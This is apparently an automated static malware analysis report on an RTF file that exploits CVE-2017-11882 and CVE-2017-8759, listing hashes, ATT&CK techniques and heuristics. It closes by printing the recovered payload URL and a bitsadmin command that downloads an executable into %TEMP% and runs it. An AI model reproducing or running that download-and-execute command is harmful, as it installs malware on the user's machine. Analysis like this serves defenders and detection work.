Malicious RTF — malware analysis report

Static analysis result for SHA-256 3a824bcd89c403f0…

MALICIOUS

RTF

433.9 KB Created: 2018-05-27 22:42:00 First seen: 2019-04-17
MD5: 2479335eeaa84e8ae2b6e6878a7f5985 SHA-1: a952999e3a8cf175db4fff7ed2c8a68ab7956de3 SHA-256: 3a824bcd89c403f053a2db02b17816f5b7d544c6783aad7200401b48f7f284ea
262 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

This RTF document exploits CVE-2017-11882 and CVE-2017-8759, which are known vulnerabilities allowing for arbitrary code execution. The embedded OLE object and extracted artifact suggest the execution of shellcode, which likely attempts to download a secondary payload from the suspicious URL found in the extracted evidence. The document itself contains minimal user-facing content, indicating its primary purpose is exploitation.

Heuristics 7

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.figaro.com.gr/wp-admin/includes/bin_outputBFF920.exe In RTF body
    • http://schemas.microsoft.com/offiIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00009ce3.bin rtf-objdata-decoded RTF \objdata at offset 0x9CE3 15672 bytes
SHA-256: b1b9d09132b83126f4a2cc06af86b3aa3198bd8f84a586fcc543234dc8ab85c5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): https://www.figaro.com.gr/wp-admin/includes/bin_outputBFF920.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer yv /priority foreground https://www.figaro.com.gr/wp-admin/includes/bin_outputBFF920.exe %TEMP%\Vn.exe && start %TEMP%\Vn.exe

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